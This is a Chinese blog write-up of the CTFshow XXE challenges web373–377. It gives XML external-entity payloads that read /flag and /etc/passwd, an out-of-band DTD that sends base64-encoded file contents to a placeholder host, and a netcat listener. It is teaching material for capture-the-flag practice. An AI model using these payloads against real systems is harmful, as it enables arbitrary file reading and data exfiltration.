CTFSHOW xxe篇

最新推荐文章于 2025-11-25 13:54:43 发布
原创 最新推荐文章于 2025-11-25 13:54:43 发布 · 3.5k 阅读 · 7 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
文章标签：

#http

博客围绕web373 - 378展开，提及各编号对应的payload，还介绍了服务器开启监听的操作，如使用nc -lvp 9999命令，以及通过开启监听获取flag等信息技术相关内容。

文章目录

web373

payload

<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<yu22x>
<ctfshow>&xxe;</ctfshow>
</yu22x>

web374、375、376

payload

<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % aaa SYSTEM "http://xxx/test.dtd">
%aaa;
]>
<root>123</root>

test.dtd

<!ENTITY % dtd "<!ENTITY &#x25; xxe  SYSTEM 'http://xxx:9999/%file;'> ">
%dtd;
%xxe;

服务器开启监听 nc -lvp 9999

web377

payload

import requests

url = 'http://ddca1082-2f62-4f7f-b8b1-e369e33aa168.chall.ctf.show/'
最低0.47元/天 解锁文章
CTFShow XXE
paidx0
08-26 1973
前言 XXE 的漏洞在我的上一篇文章有讲过，这里就不多说，直接看题 XXE外部实体注入 web373 有回显的文件读取 <?xml version="1.0"?> <!DOCTYPE xml [ <!ENTITY xxe SYSTEM "file:///flag"> ]> <paidx0> <ctfshow>&xxe;</ctfshow> </paidx0> web374~376 无回显的文件读取，禁用了版本
ctfshow_XXE
qq_45951598的博客
03-24 412
文章目录WEB373 WEB373 这里先放看一下理解漏洞之 XXE 漏洞 error_reporting(0); libxml_disable_entity_loader(false); $xmlfile = file_get_contents('php://input'); if(isset($xmlfile)){ $dom = new DOMDocument(); //创建内部类Document对象 $dom->loadXML($xmlfile, LIBXML_NOENT |
【XXE详解】附代码审计SCMS靶场XXE漏洞实战过程
最新发布
你好！经典物理世界人类
11-25 689
本文深入讲解了xxe漏洞原理与xxe攻击。并附带了两个靶场作为xxe漏洞复现的案例。
ctfshowXXE
njh18790816639的博客
05-26 491
XXE(XML External Entity Injection) 全称为 XML 外部实体注入。 web373 error_reporting(0); libxml_disable_entity_loader(false); $xmlfile = file_get_contents('php://input');//以php伪协议接收一个值 if(isset($xmlfile)){ $dom = new DOMDocument();//创建内部类Document对象 $dom->l
CTFshow XXE
starttv的博客
11-10 674
为区分嵌套实体和实体之间的关系，可以通过单双引号来间隔开，引号中嵌套一个参数实体，其%号需要写成：%也可写为16进制的%(1)使用 % 实体名(这里面空格不能少) 在 DTD 中定义，并且只能在 DTD 中使用 %实体名;用bp抓包，可以发现传的内容是xml，并且在username处有回显，直接xxe。引用的实体，他在DTD 中定义，在 XML 文档中引用。(2)只有在 DTD 文件中，参数实体的声明才能引用其他实体。发现了过滤，用空格绕过一下就可以了，步骤和上题一样。过滤了大小写，还是用空格绕过。
ctfshow XXE
lwbcsd的博客
04-03 4716
xxe web373 有回显 函数介绍 libxml_disable_entity_loader #禁用/启用加载外部实体的功能 参数为true时为禁用，参数为false为启用 file_get_contents('php://input') #简单理解就是接受POST请求方式传的数据 loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD) #通过解析一个 XML 标签字符串来组成该文档 simplexml_import_dom #把 DOM 节点
CTFSHOW-XXE
m0_74456293的博客
06-03 623
CTFSHOW-XXE
ctfshow xxe
qq_50589021的博客
10-21 2539
前置知识 理解漏洞之 XXE 漏洞 从XML相关一步一步到XXE漏洞 参考WP web373 error_reporting(0); libxml_disable_entity_loader(false); $xmlfile = file_get_contents('php://input'); if(isset($xmlfile)){ $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTD
ctfshow web入门 XXE
2301_79442654的博客
03-30 1424
XXE（XML External Entity）攻击是一种针对XML处理漏洞的网络安全攻击手段。攻击者利用应用程序在解析XML输入时的漏洞，构造恶意的XML数据，进而实现各种恶意目的。所以要学习xxe就需要了解xml。
ctfshow—XXE
cosmoslin的博客
10-24 1193
XXE XXE：XML External Entity 即外部实体，从安全角度理解成XML External Entity attack 外部实体注入攻击。由于程序在解析输入的XML数据时，解析了攻击者伪造的外部实体而产生的。例如PHP中的simplexml_load 默认情况下会解析外部实体，有XXE漏洞的标志性函数为simplexml_load_string（）。 XXE可导致读取任意文件，探测内网端口，攻击内网网站，发起拒绝服务攻击，执行系统命令等。Java中的XXE支持sun.net.www.p
CTF之xxe
qq_37410729的博客
10-26 1955
xxe漏洞即我们可以进行外部实体注入，当允许引用外部实体时，通过构造恶意内容，可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。 两个writeup 第一题： bp抓包 然后就可以进行xml注入了 这是两种xxe，我们先试第二种（因为源代码并没有标注flag在什么文件中） 然后进内网 然而并进不去，那就只能找存活主机了。 直接暴力寻找 第二题： 按照上题的思路走 但是并没有找到flag。。。。 最后只能去文件里找了，但是题目没有标明具体flag在那个文件，只能试一下/flag文
CTFshow_Web_XXE——web373~377
Ho1aAs‘s Blog
05-07 3201
文章目录参考文章题解web373web374~376web377完 参考文章 一篇文章带你深入理解漏洞之 XXE 漏洞 未知攻焉知防——XXE漏洞攻防 题解 web373 常规XXE flag的路径是/flag // 允许加载外部实体 libxml_disable_entity_loader(false); // xml文件来源于数据流 $xmlfile = file_get_contents('php://input'); if(isset($xmlfile)){ $dom = new DOMDo
ctfshow-XXE
m0_74013288的博客
11-19 199
这道题没有任何的过滤，直接构造。
CTFSHOW—XXE
灰太的表格的博客
01-31 515
(睡了一下午打算，通宵学习hhhh) web373 wa1ki0g标签可以随便改，ctfshow这个不可以。 !DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <wa1ki0g> <ctfshow>&xxe;</ctfshow> </wa1ki0g>
CTFshow——XXE
D.MIND 的博客
08-23 1052
web373 <?php error_reporting(0); libxml_disable_entity_loader(false); $xmlfile = file_get_contents('php://input'); if(isset($xmlfile)){ $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); $creds = simplexml_i
ctfshow--xxe
qq_51684648的博客
03-15 2743
ctfshow–xxe 有回显 <?php error_reporting(0); libxml_disable_entity_loader(false); //file_get_contents("php://input"),我么需要post我们的payload $xmlfile = file_get_contents('php://input'); if(isset($xmlfile)){ //DOMDocument,表示整个HTML或XML文档；作为文档树的根 $dom =
CTF学习笔记之XXE
克格莫（有需要的私信）
07-08 1357
一直对XXE理解不是很深入，今天仔细研究一下XXE以及CTF里面的XXE题型 0x00 XML基本格式 XML 文档有自己的一个格式规范，这个格式规范是由 DTD控制的。文档类型定义（DTD）可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。DTD 可被成行地声明于 XML 文档中，也可作为一个外部引用。 带有 DTD 的 XML 文档实例： <?xml version="1.0"?> <!DOCTYPE note [ <!ELEMENT note (
评论 8
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
表情包 代码片
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

yu22x

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值